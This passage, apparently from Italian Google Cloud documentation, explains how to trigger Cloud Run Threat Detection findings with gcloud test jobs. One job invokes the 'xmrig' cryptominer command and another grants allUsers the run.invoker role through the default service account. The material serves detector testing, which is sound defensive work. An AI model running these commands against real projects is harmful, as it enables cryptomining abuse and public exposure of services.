gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Cryptomining Commands. Tieni presente che l'esecuzione del job non riuscirà perché il comando non esiste nell'immagine, ma il risultato verrà comunque generato.
Escalation dei privilegi: Default Compute Engine Service Account SetIAMPolicy
Per attivare un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, esegui un comando che utilizza l'account di servizio Compute Engine predefinito per impostare il criterio IAM di un servizio Cloud Run.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Passaggi successivi
- Scopri di più su Cloud Run Threat Detection.
- Scopri come utilizzare Cloud Run Threat Detection.